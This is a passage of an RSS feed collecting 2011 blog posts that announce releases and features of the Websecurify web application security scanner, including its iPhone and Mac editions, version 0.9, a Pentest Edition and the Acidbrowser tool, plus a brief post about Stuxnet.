         <description>&lt;p&gt;&lt;a rel="nofollow" target="_blank" href="http://4.bp.blogspot.com/-oitJK6sikf4/Tt_RPoNaRSI/AAAAAAAAAX8/scUtyB-eXHk/s1600/Photos+-+Google%252B.png"&gt;This&lt;/a&gt; is essentially a collage of all pictures from Picasa which we use for this blog. What I find interesting is the story that the picture tells. It really shows the many incarnations of the product and how much effort has been put into it to make what it is today.&lt;/p&gt; &lt;p&gt;Stay tuned for the next major incarnation.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-3475698723478677628?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-3475698723478677628</guid>
         <pubDate>Wed, 07 Dec 2011 20:53:00 +0000</pubDate>
      </item>
      <item>
         <title>Websecurify's Debute on ITunes and Mac App Stores</title>
         <link>http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html</link>
         <description>&lt;p&gt;Although Websecurify has been officially available on the &lt;a rel="nofollow" target="_blank" href="http://itunes.apple.com/us/app/websecurify/id481853448"&gt;Mac App Store&lt;/a&gt; for several days now and more than a month on the &lt;a rel="nofollow" target="_blank" href="http://itunes.apple.com/us/app/websecurify/id465314485"&gt;iTunes App Store&lt;/a&gt;, it is about time to announce it publicly here. It is true. Websecurify is now the premium web application security testing tool for Mac. It is one of its kind and proud to carry the title of being "the first and only".&lt;p/&gt; &lt;div class="separator" style="clear:both;text-align:left;"&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-LoQsI05SmqE/Tt5-NAqISOI/AAAAAAAAAXw/RiQzeSttfEw/s1600/Screen+shot+2011-12-01+at+19.55.37.png" style="margin-left:1em;margin-right:1em;"&gt;&lt;img border="0" height="203" src="http://1.bp.blogspot.com/-LoQsI05SmqE/Tt5-NAqISOI/AAAAAAAAAXw/RiQzeSttfEw/s320/Screen+shot+2011-12-01+at+19.55.37.png" width="320"/&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;The Mac App Store Version is full of awesome improvements incorporated in style and simplicity throughout the entire application. Some of the key features include:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Fully integrated browser which allows fine-tuning of even some of the most demanding applications today.&lt;/li&gt;&lt;li&gt;Adjustable test scope. For more information, see the Wiki page &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/wiki/TestScope"&gt;here&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The ability to not only run several test at the same time but also work on multiple projects currently.&lt;/li&gt;&lt;li&gt;Smart reporting system which removes duplicate issues on the fly.&lt;/li&gt;&lt;li&gt;Powerful and quickly accessible report filters to sift through complex tests with numerous issues.&lt;/li&gt;&lt;li&gt;Vulnerability snapshots. What is a security report without the technical details? You get not only the exact details about each vulnerability but also helpful screenshots illustrating the problem in full.&lt;/li&gt;&lt;li&gt;Several built-in reporting mechanism which allow detailed exporting to multiple formats including CSV, XML, JSON, HTML and RTF. HTML and RTF reports include screenshots which can be easily copied around in your own custom reports.&lt;/li&gt;&lt;li&gt;New and improved testing engine which now detects more issues than ever before in a fast and concise way.&lt;/li&gt;&lt;li&gt;Absolutely gorgeous user interface in every single way.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;There are some awesome improvements for the iTunes App Store (iPhone) version planned to be released in the upcoming weeks. Here they are:&lt;p/&gt; &lt;ul&gt;&lt;li&gt;The ability to email reports even when they are not fully completed. This is a huge win especially when you want to report an issue as soon as you find it.&lt;/li&gt;&lt;li&gt;Brand new testing engine with numerous improvements all over the place.&lt;/li&gt;&lt;li&gt;Faster test cycles. On some medium-size applications it is possible to complete a full test in just a few minutes.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Needless to say, this is just the start of a very exciting future in which we want to make a mark in our own unique way.&amp;nbsp; We would like to use the opportunity to thank our beta testers and everyone who helped us to get to this stage. You are rock starts and you know it.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-3264784276114378169?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-3264784276114378169</guid>
         <pubDate>Tue, 06 Dec 2011 19:47:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://1.bp.blogspot.com/-LoQsI05SmqE/Tt5-NAqISOI/AAAAAAAAAXw/RiQzeSttfEw/s72-c/Screen+shot+2011-12-01+at+19.55.37.png" width="72" />
      </item>
      <item>
         <title>Websecurify 0.9 is Out</title>
         <link>http://blog.websecurify.com/2011/10/websecurify-09-is-out.html</link>
         <description>Websecurify 0.9 is now out of our workshop and you can download it from the usual &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com"&gt;place&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In this release we went back to the basics and reengineered everything from scratch and made it 10 times better. In the process we even managed to create a version which can run on most modern mobile devices although at the moment we only support the &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/iphone"&gt;iPhone&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Websecurify 0.9 is de facto not only the first web application security testing software ever created for iOS, Android, Blackberry and others, but it is also the very first fully functional integrated web application security testing solution which can run straight from your web browser. This release is perhaps one of the most cross-platform software solutions you will encounter today and we are proud to be the first to do it, putting our orange flag in the history books forever.&lt;br /&gt;&lt;br /&gt;However, this is not all... far from it. For the upcoming months we have prepared even more surprises for our loyal fans and supporters. We are planning to completely change everything and make the dent, created by Websecurify, even bigger.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Enjoy this release and if you have a few spare moments &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/feedback"&gt;tell us&lt;/a&gt; what do you think and how we can help you even further.&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-2100456107274673457?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-2100456107274673457</guid>
         <pubDate>Mon, 03 Oct 2011 05:18:00 +0000</pubDate>
      </item>
      <item>
         <title>Websecurify Mobile Beta Test Starts Today</title>
         <link>http://blog.websecurify.com/2011/08/websecurify-mobile-beta-test-starts.html</link>
         <description>The public beta test of Websecurify Mobile Alpha1 starts today. The WS Dev team would like to personally say "Thank You" to all beta testers who have signed up in the last couple of days. By now you should have received an email with instructions how to participate.&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As it usually happens, there is already a service out there which lifts off some kind of burden from your chest. In our case that is &lt;a rel="nofollow" target="_blank" href="https://testflightapp.com/"&gt;TestFlight&lt;/a&gt; which will be helping us dealing with the provisioning profile mess during the beta test stages.&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you haven't signed up yet, you can do so &lt;a rel="nofollow" target="_blank" href="https://spreadsheets.google.com/spreadsheet/viewform?formkey=dEFlRENtdnJKSTJaeC13TjhHaVduckE6MQ"&gt;here&lt;/a&gt;. You can also use the TestFlight recruitment page over &lt;a rel="nofollow" target="_blank" href="http://bit.ly/mSADcZ"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-1627890695946256447?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-1627890695946256447</guid>
         <pubDate>Mon, 08 Aug 2011 19:36:00 +0000</pubDate>
      </item>
      <item>
         <title>Well Websecurify Runs on The iPhone</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/</link>
         <description>This is not necessarily news anymore since it was discussed on the Websecurify official blog but we are so excited about it that we could not hold ourselves from posting it here too.



The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=6259</guid>
         <pubDate>Thu, 04 Aug 2011 16:27:04 +0000</pubDate>
         <content:encoded><![CDATA[<p>This is not necessarily news anymore since it was <a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2011/08/websecurify-for-iphone-preview.html">discussed</a> on the Websecurify official blog but we are so excited about it that we could not hold ourselves from posting it here too.</p>

<div class="screen"><embed src="http://www.youtube.com/v/19U37T7F8Lw?version=3" type="application/x-shockwave-flash" width="640" height="390"></iframe></div> 

<p>The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. This is not directly and only applicable to the iPhone version. No! Similar tradeoffs are also present even in standard desktop/server based scanners although they are usually less visible and obscured behind tones of options. The bottom line is that the scanner not only runs natively on the iOS but also works as expected.</p>

<blockquote>Now this is exciting! Websecurify is the first in the world mobile web application testing technology.</blockquote>

<p>If you have any suggestions, recommendations or general feedback please do let us know. You can also <a rel="nofollow" target="_blank" href="https://spreadsheets.google.com/spreadsheet/viewform?formkey=dEFlRENtdnJKSTJaeC13TjhHaVduckE6MQ">participate</a> in the beta test program which will allow you to have a play with tool as we are polishing it for the official release.</p>

<p><em>The possibilities are endless.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/xcMw65rISY4" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Websecurify for the iPhone Preview</title>
         <link>http://blog.websecurify.com/2011/08/websecurify-for-iphone-preview.html</link>
         <description>&lt;div&gt;This is a quick preview of Websecurify running on the iPhone. Keep in mind that the application runs natively and uses the device own resources to perform the test.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We are still looking for beta testers. If you have an Apple device and you are willing to try Websecurify please fill in the form provided &lt;a rel="nofollow" target="_blank" href="https://spreadsheets.google.com/spreadsheet/viewform?formkey=dEFlRENtdnJKSTJaeC13TjhHaVduckE6MQ"&gt;here&lt;/a&gt;. Thanks in advance.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-5807289121563275693?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-5807289121563275693</guid>
         <pubDate>Wed, 03 Aug 2011 17:22:00 +0000</pubDate>
      </item>
      <item>
         <title>Websecurify for the iPhone</title>
         <link>http://blog.websecurify.com/2011/07/websecurify-for-iphone.html</link>
         <description>The multi-platform support is perhaps the most advantageous feature of Websecurify 0.9. Our testing engine is not only capable of handling even the most resource demanding applications but also run smoothly on mobile devices such as the iPhone.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-3gCJ5tHynp8/TjWB2xvSl0I/AAAAAAAAAVk/xZrJ49Q1bI0/s1600/Screen%2Bshot%2B2011-07-31%2Bat%2B17.22.13.png"&gt;&lt;img src="http://1.bp.blogspot.com/-3gCJ5tHynp8/TjWB2xvSl0I/AAAAAAAAAVk/xZrJ49Q1bI0/s320/Screen%2Bshot%2B2011-07-31%2Bat%2B17.22.13.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5635553286788650818" style="cursor:pointer;width:232px;height:320px;"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We are essentially in the final stages of development of the Websecurify Mobile edition. At the moment the user interface is simple, solid and fully functional. The mobile testing engine is fully functional inside the iPhone although we are going to make some drastic improvements to reduce testing time on complex applications.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Needless to say, we need beta testers. So, if you own an  iPhone and you are willing to try Websecurify, please fill in your details &lt;a rel="nofollow" target="_blank" href="https://spreadsheets.google.com/spreadsheet/viewform?formkey=dEFlRENtdnJKSTJaeC13TjhHaVduckE6MQ"&gt;here&lt;/a&gt; and we will get back to you with instructions.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Thanks.&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-4184923725948708470?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-4184923725948708470</guid>
         <pubDate>Sun, 31 Jul 2011 16:22:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://1.bp.blogspot.com/-3gCJ5tHynp8/TjWB2xvSl0I/AAAAAAAAAVk/xZrJ49Q1bI0/s72-c/Screen%2Bshot%2B2011-07-31%2Bat%2B17.22.13.png" width="72" />
      </item>
      <item>
         <title>Try Websecurify Scanner 0.9Alpha1</title>
         <link>http://blog.websecurify.com/2011/07/try-websecurify-scanner-09alpha1.html</link>
         <description>Websecurify Scanner 0.9Alpha1 is now available for download from the usual &lt;a rel="nofollow" target="_blank" href="http://code.google.com/p/websecurify/downloads/list"&gt;place&lt;/a&gt;.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a rel="nofollow" target="_blank" href="http://2.bp.blogspot.com/-KaAPmwxa6LQ/TjG0BLau5-I/AAAAAAAAAVc/tM91tC_2UEQ/s1600/Screen%2Bshot%2B2011-07-28%2Bat%2B20.09.36.png"&gt;&lt;img src="http://2.bp.blogspot.com/-KaAPmwxa6LQ/TjG0BLau5-I/AAAAAAAAAVc/tM91tC_2UEQ/s320/Screen%2Bshot%2B2011-07-28%2Bat%2B20.09.36.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5634482541154985954" style="cursor:pointer;width:320px;height:183px;"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This release contains numerous improvements including but not limited to:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Our multi-platform testing engine available for JavaScript, Java, Objective-C, and C&lt;/li&gt;&lt;li&gt;Simplified and more intuitive user interface&lt;/li&gt;&lt;li&gt;Better and simpler extension technology&lt;/li&gt;&lt;li&gt;Generally faster and more more memory efficient tasks&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;i&gt;Keep in mind that this is still an Alpha. More features and general improvements are expected in the final release.&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-1503687866169128608?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-1503687866169128608</guid>
         <pubDate>Thu, 28 Jul 2011 19:07:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://2.bp.blogspot.com/-KaAPmwxa6LQ/TjG0BLau5-I/AAAAAAAAAVc/tM91tC_2UEQ/s72-c/Screen%2Bshot%2B2011-07-28%2Bat%2B20.09.36.png" width="72" />
      </item>
      <item>
         <title>Websecurify Scanner 0.9Alpha1</title>
         <link>http://blog.websecurify.com/2011/07/websecurify-scanner-09alpha1.html</link>
         <description>The Websecurify Scanner 0.9Alpha1 is under heavy development. While we are pleased with the results, there is so much more to do.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-T4FX-2wWit0/ThivWQUJANI/AAAAAAAAAUQ/dbp0LU4zrF8/s1600/Screen%2Bshot%2B2011-07-09%2Bat%2B20.41.08.png"&gt;&lt;img src="http://1.bp.blogspot.com/-T4FX-2wWit0/ThivWQUJANI/AAAAAAAAAUQ/dbp0LU4zrF8/s320/Screen%2Bshot%2B2011-07-09%2Bat%2B20.41.08.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5627440531270861010" style="cursor:pointer;width:320px;height:202px;"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Some of the main features so far are listed bellow:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;The basic/default scanner is smarter, faster, lighter and more selective - this means that some types of applications, in particular those which have a lot of pages, will be scanned under a fraction of the time which takes when testing with Websecurify 0.8.&lt;/li&gt;&lt;li&gt;The scanning technology is memory efficient and the memory storage is swappable - while the scanner should be able to handle most applications within a reasonable amount of memory, if needed we can quickly introduce other storage mechanisms depending on the situation and as such scale the scanning technology as much as required.&lt;/li&gt;&lt;li&gt;Everything is configurable - while we may not expose all scanning features and options in the default installation, it is certainly possible to configure a lot of aspects of how the testing engine works. This is the reason why 0.9 will provide different types of scans which are optimised for the particular task. For example, a scan against a blog is very different from a scan against Sharepoint. The templates not only provide pre-build settings but also different testing engines specifically optimized for the target technology.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;These are the main features so far. More features are coming up very soon plus the first alpha release should be available for download in the following weeks.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-3787754759537000141?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-3787754759537000141</guid>
         <pubDate>Sat, 09 Jul 2011 19:42:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://1.bp.blogspot.com/-T4FX-2wWit0/ThivWQUJANI/AAAAAAAAAUQ/dbp0LU4zrF8/s72-c/Screen%2Bshot%2B2011-07-09%2Bat%2B20.41.08.png" width="72" />
      </item>
      <item>
         <title>Latest Developments</title>
         <link>http://blog.websecurify.com/2011/06/latest-developments.html</link>
         <description>If you are wondering what is happening to Websecurify, well... we are working really hard to get 0.9 out of the door. So, hopefully you will be able to see the first alpha in the following weeks.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a rel="nofollow" target="_blank" href="http://2.bp.blogspot.com/-PYtzXH9BRtk/TgPK4Tg_d2I/AAAAAAAAATQ/mKkgEc2Kl7o/s1600/Screen%2Bshot%2B2011-06-24%2Bat%2B00.08.24.png"&gt;&lt;img src="http://2.bp.blogspot.com/-PYtzXH9BRtk/TgPK4Tg_d2I/AAAAAAAAATQ/mKkgEc2Kl7o/s320/Screen%2Bshot%2B2011-06-24%2Bat%2B00.08.24.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5621559828548646754" style="cursor:pointer;width:320px;height:184px;"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Many improvements should be expected in 0.9 but most important ones are related to stability and speed. One of the key improvements around the testing engine is the balance between the types of tests we typically want to perform and the quality, dictating that we wont miss important vulnerabilities but at the same ensuring the test completes within reasonable time and in the most efficient way.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As you can see from the screenshot above, we have also reengineered the entire UI. Now the main window is lighter and everything should feel very easy and fast.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As usual, feedback is always welcome.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-2238412224943455789?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-2238412224943455789</guid>
         <pubDate>Thu, 23 Jun 2011 23:08:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://2.bp.blogspot.com/-PYtzXH9BRtk/TgPK4Tg_d2I/AAAAAAAAATQ/mKkgEc2Kl7o/s72-c/Screen%2Bshot%2B2011-06-24%2Bat%2B00.08.24.png" width="72" />
      </item>
      <item>
         <title>Stuxnet</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/</link>
         <description>I have been avoiding the topic about Stuxnet for quite some time, mainly because there were many others who spent the time to take the virus apart. However, here is a video, which I find rather amusing:



Wether this is the real deal or simply fear mongering, I simply don&amp;#8217;t know. It is all speculations at the moment. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=6246</guid>
         <pubDate>Mon, 13 Jun 2011 15:21:37 +0000</pubDate>
         <content:encoded><![CDATA[<p>I have been avoiding the topic about Stuxnet for quite some time, mainly because there were many others who spent the time to take the virus apart. However, here is a video, which I find rather amusing:</p>

<div class="screen"></div> 

<p><em>Wether this is the real deal or simply fear mongering, I simply don&#8217;t know. It is all speculations at the moment. The only thing we can say is that it is difficult to deny the fact that computers are important and whoever has control over them has control over people lives and can influence a lot of things including politics.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/Nt7uWV9YX6Y" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Websecurify: Pentest Edition</title>
         <link>http://blog.websecurify.com/2011/05/websecurify-pentest-edition.html</link>
         <description>Since the new Websecurify engine will support multiple programming platforms, including but not limited to Objective-C, JavaScript, Java, Python and Ruby, we decided to assemble a version designed to be used specifically in penetration tests.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;"What is the difference?"&lt;/i&gt; - you may ask. Websecurify: Pentest Edition is all about maximizing your work. It is designed to be used from the a GUI but also from the command line. In this respect, this version of Websecurify is very rough and require certain level of expertise and familiarity of automated web technologies.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The other main difference is that the tool is Java-based and can be used in conjunction with other popular java-based web auditing tools. In fact, Websecurify: Pentest Edition actually augments these other tools in many different ways and generally gets the work done, speeding up the borring work while still providing room for manual tweaking to get the perfect balance.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a rel="nofollow" target="_blank" href="http://3.bp.blogspot.com/-rBu4AGpzfx0/TePuQSfkfhI/AAAAAAAAAS8/NUYdLD2zAa0/s1600/websecurify-pentest-edition.png"&gt;&lt;img src="http://3.bp.blogspot.com/-rBu4AGpzfx0/TePuQSfkfhI/AAAAAAAAAS8/NUYdLD2zAa0/s320/websecurify-pentest-edition.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5612591524243340818" style="cursor:pointer;width:320px;height:174px;"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-6534295295264641181?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-6534295295264641181</guid>
         <pubDate>Mon, 30 May 2011 18:59:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://3.bp.blogspot.com/-rBu4AGpzfx0/TePuQSfkfhI/AAAAAAAAAS8/NUYdLD2zAa0/s72-c/websecurify-pentest-edition.png" width="72" />
      </item>
      <item>
         <title>Websecurify Heads-up</title>
         <link>http://blog.websecurify.com/2011/04/websecurify-heads-up.html</link>
         <description>This is just a quick post to all WS fans just to let you know that we are franticly working on the next iteration of your favourite web application security platform. The future certainly looks very promising and exciting as we have prepared a couple of new things that will be coming out very soon.&lt;br /&gt;&lt;br /&gt;First, the testing engine was rewritten from scratch. The new engine now allows us to do things impossible to achieve with the older version at a 10 times the speed and in a lot less memory too.&lt;br /&gt;&lt;br /&gt;Second, we are working on the Acidbrowser project. This work was split into a separate source tree and by the look of it the project will be very challenging. We decided that if we are going to put the effort into making a decent web app testing browser, we may as well put a little bit more enthusiasm and turn the project into something really special. In the pipeline we have some ideas that will hopefully blow your mind.&lt;br /&gt;&lt;br /&gt;Finally, we managed to get around creating a Websecurify SaaS solution based on our new testing engine with a few added extras. It should run from the cloud. It should easily handle hundreds upon hundreds of connections. It is really easy to use and it looks absolutely stunning.&lt;br /&gt;&lt;br /&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-zLAaONPoYZc/TaTczLNKGYI/AAAAAAAAAS0/ha8wFcBIez0/s1600/saas.png"&gt;&lt;img style="cursor:pointer;cursor:hand;width:320px;height:186px;" src="http://1.bp.blogspot.com/-zLAaONPoYZc/TaTczLNKGYI/AAAAAAAAAS0/ha8wFcBIez0/s320/saas.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5594839408840415618"/&gt;&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There you have it.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-582573210311092614?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-582573210311092614</guid>
         <pubDate>Tue, 12 Apr 2011 23:02:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://1.bp.blogspot.com/-zLAaONPoYZc/TaTczLNKGYI/AAAAAAAAAS0/ha8wFcBIez0/s72-c/saas.png" width="72" />
      </item>
      <item>
         <title>Acidbrowser: 24h Later</title>
         <link>http://blog.websecurify.com/2011/03/acidbrowser-24h-later.html</link>
         <description>It has been almost a day since we announced the first official release of Acidbrowser and we already have some good news. The tool now supports a powerful console which quickly allows you to change configurations (proxy settings for example) and do other nifty things.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a rel="nofollow" target="_blank" href="http://2.bp.blogspot.com/-pZir5dtoO_E/TYFfniMk8JI/AAAAAAAAASs/YNU8ow8MOdg/s1600/acidbrowser02.png"&gt;&lt;img src="http://2.bp.blogspot.com/-pZir5dtoO_E/TYFfniMk8JI/AAAAAAAAASs/YNU8ow8MOdg/s320/acidbrowser02.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5584850145715220626" style="cursor:pointer;width:320px;height:189px;"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As usual, extending the console capabilities is super easy so anyone can add their own little tools that just make a difference.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;As a bonus, we also improved the browser interface quite a bit and fixed a bug.&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-2354418050974201524?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-2354418050974201524</guid>
         <pubDate>Thu, 17 Mar 2011 01:08:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://2.bp.blogspot.com/-pZir5dtoO_E/TYFfniMk8JI/AAAAAAAAASs/YNU8ow8MOdg/s72-c/acidbrowser02.png" width="72" />
      </item>
      <item>
         <title>Landing Acidbrowser 0.8</title>
         <link>http://blog.websecurify.com/2011/03/landing-acidbrowser-08.html</link>
